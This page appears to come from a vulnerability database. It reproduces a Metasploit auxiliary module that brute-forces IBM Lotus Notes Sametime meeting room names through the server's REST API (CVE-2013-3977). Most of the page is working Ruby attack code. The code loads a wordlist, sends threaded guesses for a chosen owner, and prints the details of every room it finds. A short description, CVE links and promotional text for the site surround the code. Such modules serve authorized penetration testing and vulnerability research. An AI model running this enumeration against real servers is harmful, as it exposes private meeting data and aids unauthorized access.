Lucene search
+L

IBM Lotus Notes Sametime Room Name Bruteforce

🗓️ 26 Dec 2013 12:02:52Reported by kicks4kittensType 
metasploit
 metasploit
🔗 www.rapid7.com👁 25 Views

IBM Lotus Notes Sametime Room Name Bruteforce module bruteforces Sametime meeting room names via the IBM Lotus Notes Sametime web interface

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2013-3977
29 May 201815:50
circl
CVE
CVE-2013-3977
26 May 201401:00
cve
Cvelist
CVE-2013-3977
26 May 201401:00
cvelist
NVD
CVE-2013-3977
26 May 201404:29
nvd
Packet Storm
IBM Lotus Notes Sametime Room Name Bruteforce
31 Aug 202400:00
packetstorm
Prion
Design/Logic Flaw
26 May 201404:29
prion
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'enumerable'

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'IBM Lotus Notes Sametime Room Name Bruteforce',
      'Description'    => %q{
        This module bruteforces Sametime meeting room names via the IBM
        Lotus Notes Sametime web interface.
      },
      'Author'         =>
        [
          'kicks4kittens' # Metasploit module
        ],
      'References' =>
        [
          [ 'CVE', '2013-3977' ],
          [ 'URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21671201']
        ],
      'DefaultOptions' =>
        {
          'SSL' => true
        },
      'License'        => MSF_LICENSE,
      'DisclosureDate' => '2013-12-27'
    ))

    register_options(
      [
        Opt::RPORT(443),
        OptString.new('OWNER', [ true,  'The owner to bruteforce meeting room names for', '']),
        OptPath.new('DICT', [ true,  'The path to the userinfo script' ]),
        OptString.new('TARGETURI', [ true, 'Path to stmeetings', '/stmeetings/'])
      ])

    register_advanced_options(
      [
        OptInt.new('TIMING', [ true,  'Set pause between requests', 0]),
        OptInt.new('Threads', [ true,  'Number of test threads', 10])
      ])
  end

  def run
    print_status("Beginning IBM Lotus Notes Sametime Meeting Room Bruteforce")
    print_status("Using owner: #{datastore['OWNER']}")

    # test for expected response code on non-existent meeting room name
    rval = Rex::Text.rand_text_alpha(64)
    uri = target_uri.path
    @reqpath = normalize_uri(uri, '/restapi')

    res = send_request_cgi({
      'uri'     =>  @reqpath,
      'method'  => 'GET',
      'ctype'   => 'text/html',
      'vars_get' => {
        'owner' => datastore['OWNER'],
        'permaName' => rval
        }
    })

    unless res
      print_error("No response, timeout")
      return
    end

    if res.code == 404 and res.body =~ /Room does not exist/i
      vprint_status("Server responding to restapi requests as expected")
    else
      print_error("Unexpected response from server (#{res.code}). Exiting...")
      return
    end

    # create initial test queue and populate
    @test_queue = Queue.new
    @output_lock = false

    # TODO: If DICT is unreadable (missing, etc) this will stack trace.
    ::File.open(datastore['DICT']).each { |line| @test_queue.push(line.chomp) }
    vprint_status("Loaded #{@test_queue.length} values from dictionary")

    print_status("Beginning dictionary bruteforce using (#{datastore['Threads']} Threads)")

    while(not @test_queue.empty?)
      t = []
      nt = datastore['Threads'].to_i
      nt = 1 if nt <= 0

      if @test_queue.length < nt
        # work around issue where threads not created as the queue isn't large enough
        nt = @test_queue.length
      end

      begin
        1.upto(nt) do
          t << framework.threads.spawn("Module(#{self.refname})-#{rhost}", false, @test_queue.shift) do |test_current|
            Thread.current.kill if not test_current
            res = make_request(test_current)
            if res.nil?
              print_error("Timeout from server when testing room \"#{test_current}\"")
            elsif res and res.code == 404
              vprint_status("Room \"#{test_current}\" was not valid for owner #{datastore['OWNER']}")
            else
              # check response for user data
              check_response(res, test_current)
            end
          end
        end
      t.each {|x| x.join }

      rescue ::Timeout::Error
      ensure
        t.each {|x| x.kill rescue nil }
      end
    end
  end

  # make request and return response
  def make_request(test_current)
    # Apply timing information
    if datastore['TIMING'] > 0
      Rex::sleep(datastore['TIMING'])
    end

    res = send_request_cgi({
      'uri'     =>  @reqpath,
      'method'  => 'GET',
      'ctype'   => 'text/html',
      'vars_get' =>
        {
          'owner' => datastore['OWNER'],
          'permaName' => test_current
        }
    })
  end

  # check the response for valid room information
  def check_response(res, test_current)
    begin
      if res.code.to_i == 200
        json_room = JSON.parse(res.body)
        # extract room information if there is data
        output_table(json_room, test_current) unless json_room.blank?
      end
    rescue JSON::ParserError
      # non-JSON response - server may be overloaded
      return
    end
  end

  def output_table(room_info, test_current)

    print_good("New meeting room found: #{test_current}")

    # print output table for discovered meeting rooms
    roomtbl = Msf::Ui::Console::Table.new(
      Msf::Ui::Console::Table::Style::Default,
        'Header'  => "[IBM Lotus Sametime] Meeting Room #{test_current}",
        'Prefix'  => "",
        'Postfix' => "\n",
        'Indent'  => 1,
        'Columns' =>
          [
            "Key",
            "Value"
          ]
      )

    room_info['results'][0].each do |k, v|
      if v.is_a?(Hash)
        # breakdown Hash
        roomtbl << [ k.to_s, '>>' ] # title line
        v.each do | subk, subv |
          roomtbl << [ "#{k.to_s}:#{subk.to_s}", subv.to_s || "-"]  if not v.nil? or v.empty?
        end
      else
        roomtbl << [ k.to_s, v.to_s || "-"]  unless v.nil?
      end
    end
    # output table
    print_good(roomtbl.to_s)

  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation